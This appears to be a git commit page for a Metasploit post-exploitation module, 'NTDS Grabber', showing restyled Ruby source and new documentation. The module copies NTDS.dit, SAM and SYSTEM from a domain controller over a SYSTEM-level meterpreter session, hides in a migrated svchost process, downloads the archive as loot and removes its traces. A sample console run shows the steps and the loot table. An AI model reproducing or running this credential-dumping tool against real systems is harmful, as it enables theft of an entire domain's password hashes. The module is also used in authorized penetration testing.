Fixed styling of the module and added documentation.
parent
2fb42ff019
commit
8958ac0247
|
@ -0,0 +1,58 @@
|
||||||
|
## Creating A Testing Environment
|
||||||
|
To use this module you need an meterpreter on a domain controller.
|
||||||
|
The meterpreter has to have SYSTEM priviliges.
|
||||||
|
Powershell has te be installed.
|
||||||
|
|
||||||
|
This module has been tested against:
|
||||||
|
|
||||||
|
1. Windows Server 2008r2
|
||||||
|
|
||||||
|
This module was not tested against, but may work against:
|
||||||
|
|
||||||
|
1. Other versions of Windows server.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Obtain a meterpreter session with a meterpreter via whatever method.
|
||||||
|
3. Ensure the metepreter has SYSTEM priviliges.
|
||||||
|
4. Ensure powershell is installed.
|
||||||
|
3. Do: 'use post/windows/gather/ntds_grabber '
|
||||||
|
4. Do: 'set session #'
|
||||||
|
5. Do: 'run'
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Windows Server 2008r2 with an x86 meterpreter
|
||||||
|
|
||||||
|
msf exploit(psexec) > use post/windows/gather/ntds_grabber
|
||||||
|
msf post(ntds_grabber) > set session #
|
||||||
|
session => #
|
||||||
|
msf post(ntds_grabber) > run
|
||||||
|
|
||||||
|
[+] [2017.04.05-12:26:49] Running as SYSTEM
|
||||||
|
[+] [2017.04.05-12:26:50] Running on a domain controller
|
||||||
|
[+] [2017.04.05-12:26:50] PowerShell is installed.
|
||||||
|
[-] [2017.04.05-12:26:50] The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!
|
||||||
|
[*] [2017.04.05-12:26:50] Starting new x64 process C:\windows\sysnative\svchost.exe
|
||||||
|
[+] [2017.04.05-12:26:51] Got pid 3088
|
||||||
|
[*] [2017.04.05-12:26:51] Migrating..
|
||||||
|
[+] [2017.04.05-12:26:56] Success!
|
||||||
|
[*] [2017.04.05-12:26:56] Powershell Script executed
|
||||||
|
[*] [2017.04.05-12:26:59] Creating All.cab
|
||||||
|
[*] [2017.04.05-12:27:01] Waiting for All.cab
|
||||||
|
[*] [2017.04.05-12:27:02] Waiting for All.cab
|
||||||
|
[+] [2017.04.05-12:27:02] All.cab should be created in the current working directory
|
||||||
|
[*] [2017.04.05-12:27:05] Downloading All.cab
|
||||||
|
[+] [2017.04.05-12:27:15] All.cab saved in: /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab
|
||||||
|
[*] [2017.04.05-12:27:15] Removing All.cab
|
||||||
|
[+] [2017.04.05-12:27:15] All.cab Removed
|
||||||
|
[*] Post module execution completed
|
||||||
|
msf post(ntds_grabber) > loot
|
||||||
|
|
||||||
|
Loot
|
||||||
|
====
|
||||||
|
|
||||||
|
host service type name content info path
|
||||||
|
---- ------- ---- ---- ------- ---- ----
|
||||||
|
10.100.0.2 Cabinet File All.cab application/cab Cabinet file containing SAM, SYSTEM and NTDS.dit /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab
|
|
@ -1,149 +1,163 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class MetasploitModule < Msf::Post
|
class MetasploitModule < Msf::Post
|
||||||
include Msf::Post::Windows::Powershell
|
include Msf::Post::Windows::Powershell
|
||||||
include Msf::Post::Windows::Priv
|
include Msf::Post::Windows::Priv
|
||||||
include Msf::Post::Windows::Registry
|
include Msf::Post::Windows::Registry
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Common
|
include Msf::Post::Common
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(
|
||||||
'Name' => 'NTDS Grabber',
|
info,
|
||||||
'Description' => %q{This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller. It compresses all these files in a cabinet file called All.cab.},
|
'Name' => 'NTDS Grabber',
|
||||||
'License' => MSF_LICENSE,
|
'Description' => %q(This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller.
|
||||||
'Author' => ['Koen Riepe (koen.riepe@fox-it.com)'],
|
It compresses all these files in a cabinet file called All.cab.),
|
||||||
'References' => [''],
|
'License' => MSF_LICENSE,
|
||||||
'Platform' => [ 'win' ],
|
'Author' => ['Koen Riepe (koen.riepe@fox-it.com)'],
|
||||||
'Arch' => [ 'x86', 'x64' ],
|
'References' => [''],
|
||||||
'SessionTypes' => [ 'meterpreter' ]
|
'Platform' => [ 'win' ],
|
||||||
))
|
'Arch' => [ 'x86', 'x64' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter' ]
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptBool.new('DOWNLOAD', [ true, 'Immediately download the All.cab file', true ]),
|
OptBool.new('DOWNLOAD', [ true, 'Immediately download the All.cab file', true ]),
|
||||||
OptBool.new('CLEANUP', [ true, 'Remove the All.cab file at the end of module execution', true ])
|
OptBool.new('CLEANUP', [ true, 'Remove the All.cab file at the end of module execution', true ])
|
||||||
], self.class)
|
],
|
||||||
end
|
self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
def is_dc()
|
def dc_check
|
||||||
is_dc_srv = false
|
is_dc_srv = false
|
||||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||||
if registry_enumkeys(serviceskey).include?("NTDS")
|
if registry_enumkeys(serviceskey).include?("NTDS")
|
||||||
if registry_enumkeys(serviceskey + "\\NTDS").include?("Parameters")
|
if registry_enumkeys("#{serviceskey}\\NTDS").include?("Parameters")
|
||||||
is_dc_srv = true
|
is_dc_srv = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return is_dc_srv
|
return is_dc_srv
|
||||||
|
end
|
||||||
|
|
||||||
|
def task_running(task)
|
||||||
|
session.shell_write("tasklist \n")
|
||||||
|
tasklist = session.shell_read(-1, 10).split("\n")
|
||||||
|
tasklist.each do |prog|
|
||||||
|
if prog.include? task
|
||||||
|
session.shell_close
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_32_on_64
|
||||||
|
apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"]
|
||||||
|
# railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
|
||||||
|
if apicall == "\x00\x00\x00\x00"
|
||||||
|
migrate = false
|
||||||
|
else
|
||||||
|
migrate = true
|
||||||
|
end
|
||||||
|
return migrate
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_windows_loc
|
||||||
|
apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"]
|
||||||
|
windir = apicall.split(":")[0]
|
||||||
|
return windir
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
downloadflag = datastore['DOWNLOAD']
|
||||||
|
cleanupflag = datastore['CLEANUP']
|
||||||
|
|
||||||
|
if is_system?
|
||||||
|
print_good('Running as SYSTEM')
|
||||||
|
else
|
||||||
|
print_error('Not running as SYSTEM, you need to be system to run this module! STOPPING')
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
def task_running(task)
|
if not dc_check
|
||||||
session.shell_write("tasklist \n")
|
print_error('Not running on a domain controller, you need run this module on a domain controller! STOPPING')
|
||||||
tasklist = session.shell_read(-1,10).split("\n")
|
return
|
||||||
tasklist.each do |prog|
|
else
|
||||||
if prog.include? task
|
print_good('Running on a domain controller')
|
||||||
session.shell_close()
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
return false
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def is_32_bit_on_64_bits()
|
if have_powershell?
|
||||||
apicall = session.railgun.kernel32.IsWow64Process(-1,4)["Wow64Process"]
|
print_good('PowerShell is installed.')
|
||||||
if apicall == "\x00\x00\x00\x00"
|
else
|
||||||
migrate = false
|
print_error('PowerShell is not installed! STOPPING')
|
||||||
else
|
return
|
||||||
migrate = true
|
|
||||||
end
|
|
||||||
return migrate
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_windows_loc()
|
if check_32_on_64
|
||||||
apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir",255,255)["lpBuffer"]
|
print_error('The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!')
|
||||||
windir = apicall.split(":")[0]
|
windir = get_windows_loc
|
||||||
return windir
|
newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
|
||||||
|
if exist?(newproc)
|
||||||
|
print_status("Starting new x64 process #{newproc}")
|
||||||
|
pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
|
||||||
|
print_good("Got pid #{pid}")
|
||||||
|
print_status('Migrating..')
|
||||||
|
session.core.migrate(pid)
|
||||||
|
if pid == session.sys.process.getpid
|
||||||
|
print_good('Success!')
|
||||||
|
else
|
||||||
|
print_error('Migration failed!')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_good('The meterpreter is the same architecture as the OS!')
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "NTDSgrab.ps1"))
|
||||||
downloadflag = datastore['DOWNLOAD']
|
execute_script(base_script)
|
||||||
cleanupflag = datastore['CLEANUP']
|
print_status('Powershell Script executed')
|
||||||
|
cabcount = 0
|
||||||
if is_system?
|
|
||||||
print_good("Running as SYSTEM")
|
|
||||||
else
|
|
||||||
print_error("Not running as SYSTEM, you need to be system to run this module! STOPPING")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
if not is_dc()
|
|
||||||
print_error("Not running on a domain controller, you need run this module on a domain controller! STOPPING")
|
|
||||||
return
|
|
||||||
else
|
|
||||||
print_good("Running on a domain controller")
|
|
||||||
end
|
|
||||||
|
|
||||||
if have_powershell?
|
|
||||||
print_good("PowerShell is installed.")
|
|
||||||
else
|
|
||||||
print_error("PowerShell is not installed! STOPPING")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
if is_32_bit_on_64_bits()
|
|
||||||
print_error("The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!")
|
|
||||||
windir = get_windows_loc()
|
|
||||||
newproc = windir + ':\windows\sysnative\svchost.exe'
|
|
||||||
if exist?(newproc)
|
|
||||||
print_status("Starting new x64 process #{newproc}")
|
|
||||||
pid = session.sys.process.execute(newproc,nil,{'Hidden' => true,'Suspended' => true}).pid
|
|
||||||
print_good("Got pid #{pid}")
|
|
||||||
print_status("Migrating..")
|
|
||||||
session.core.migrate(pid)
|
|
||||||
if pid == session.sys.process.getpid
|
|
||||||
print_good("Success!")
|
|
||||||
else
|
|
||||||
print_error("Migration failed!")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_good("The meterpreter is the same architecture as the OS!")
|
|
||||||
end
|
|
||||||
|
|
||||||
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "NTDSgrab.ps1"))
|
|
||||||
execute_script(base_script)
|
|
||||||
print_status("Powershell Script executed")
|
|
||||||
cabcount = 0
|
|
||||||
|
|
||||||
|
while cabcount < 2
|
||||||
|
if task_running("makecab.exe")
|
||||||
|
cabcount += 1
|
||||||
while cabcount < 2
|
while cabcount < 2
|
||||||
if task_running("makecab.exe")
|
print_status('Creating All.cab')
|
||||||
cabcount += 1
|
if not task_running("makecab.exe")
|
||||||
while cabcount < 2
|
cabcount += 1
|
||||||
print_status("Creating All.cab")
|
while not file_exist?("All.cab")
|
||||||
if not task_running("makecab.exe")
|
sleep(1)
|
||||||
cabcount += 1
|
print_status('Waiting for All.cab')
|
||||||
while not file_exist?("All.cab")
|
|
||||||
sleep(1)
|
|
||||||
print_status("Waiting for All.cab")
|
|
||||||
end
|
|
||||||
print_good("All.cab should be created in the current working directory")
|
|
||||||
end
|
|
||||||
sleep(1)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
sleep(1)
|
print_good('All.cab should be created in the current working directory')
|
||||||
end
|
end
|
||||||
|
sleep(1)
|
||||||
if downloadflag
|
|
||||||
print_status("Downloading All.cab")
|
|
||||||
p1 = store_loot("Cabinet File", "application/cab", session, read_file("All.cab"), "All.cab", "Cabinet file containing SAM, SYSTEM and NTDS.dit")
|
|
||||||
print_good("All.cab saved in: #{p1.to_s}")
|
|
||||||
end
|
|
||||||
|
|
||||||
if cleanupflag
|
|
||||||
print_status("Removing All.cab")
|
|
||||||
file_rm('All.cab')
|
|
||||||
print_good("All.cab Removed")
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
sleep(1)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if downloadflag
|
||||||
|
print_status('Downloading All.cab')
|
||||||
|
p1 = store_loot('Cabinet File', 'application/cab', session, read_file("All.cab"), 'All.cab', 'Cabinet file containing SAM, SYSTEM and NTDS.dit')
|
||||||
|
print_good("All.cab saved in: #{p1}")
|
||||||
|
end
|
||||||
|
|
||||||
|
if cleanupflag
|
||||||
|
print_status('Removing All.cab')
|
||||||
|
begin
|
||||||
|
file_rm('All.cab')
|
||||||
|
rescue
|
||||||
|
print_error('Problem with removing All.cab. Manually check if it\'s still there.')
|
||||||
|
end
|
||||||
|
if not file_exist?("All.cab")
|
||||||
|
print_good('All.cab Removed')
|
||||||
|
else
|
||||||
|
print_error('All.cab was not removed')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue